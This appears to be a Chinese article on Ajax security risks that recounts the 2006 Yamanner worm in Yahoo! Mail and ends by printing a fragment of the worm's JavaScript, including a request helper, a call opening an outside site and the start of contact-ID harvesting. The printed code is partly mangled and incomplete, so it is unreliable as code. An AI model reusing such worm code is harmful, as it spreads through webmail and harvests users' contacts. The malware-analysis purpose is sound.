05年初,随着web2.0这个字眼在中国的各大网络媒体上如潮水般的涌现,Ajax技术(AJAX,即"Asynchronous JavaScript And XML"的缩写,可翻译为异步JavaScript及XML技术。其核心是一个寄宿在浏览器中名为XMLHTTPRequest的类)也立即成为了大家学习研究及讨论的焦点。当然凡事有利亦有弊,黑客们很快就找到了Ajax的可攻击弱点——SQL资料隐码(SQL injections)、跨站脚本(cross-site scripting)和服务拒绝攻击(Denial of Service)等。只是当时web2.0技术尚没有像如今一样流行,而且没有比较正规化的平台发展起来,所以并没有大量的攻击出现。
真正的大型Ajax攻击在今年的6月12日首次出现在Yahoo!的Email服务上,而且甚至引起symantec的高度警觉。在其官方网站上你可以看到如下信息
Discovered: June 12, 2006 Updated: June 20, 2006 10:46:40 AM ZW3 Also Known As: JS/Yamanner@MM [McAfee], JS_YAMANER.A [Trend Micro], Yamanner.A [F-Secure], JS/Yamann-A [Sophos] Type: Worm Infection Length: 6,377 bytes. Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP JS.Yamanner@m is a worm that is written in JavaScript. It exploits a vulnerability in the Yahoo! Mail service to send a copy of itself to other Yahoo! Mail contacts. |
你可以看到该攻击程序为一大小为6.377k的javascript蠕虫程序,并在20日进行了变种;因为是 javascript代码,所以可以通吃所有版本的windows操作系统。Symantec对其的官方解释为:Yamanner是一个用 javascript写的蠕虫,它利用Yahoo! Mail服务的一个弱点以用户的联系人列表向外发出自己的拷贝。事实上这个蠕虫甚至不需要你打开附件,只要一浏览邮件立即会使其蔓延。我很幸运地对于当时原始的病毒代码进行收集,有兴趣的可以到光盘中查看,如今在网上几乎找不到了。从其中的一段功能代码,你可以看出javascript究竟是怎么被写入的,写入后文件又是通过什么方式调用的:
- IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,
- Param) { //- - 执行标准的Ajax语句:XMLHttpRequest,并对浏览器是否IE进行判断 if (window.XMLHttpRequest) { http_request =
- new XMLHttpRequest(); } else if (window.ActiveXObject) {
- http_request = new ActiveXObject('Microsoft.XMLHTTP'); }
- http_request.target=""onreadystatechange = Func;
- http_request.open(Method, url, true); if( Method == 'GET')
- http_request.send(null); else http_request.send(Param);
- }window.open('http://www,lastdata.com'); ServerUrl = url0;USIndex =
- ServerUrl.indexOf('us.' ,0);MailIndex = ServerUrl.indexOf('.mail' ,0);CutLen =
- MailIndex - USIndex - 3;var Server = ServerUrl.substr(USIndex + 3, CutLen);
- function GetIDs(HtmlContent) { IDList = ''; StartString = '
- '; EndString = '';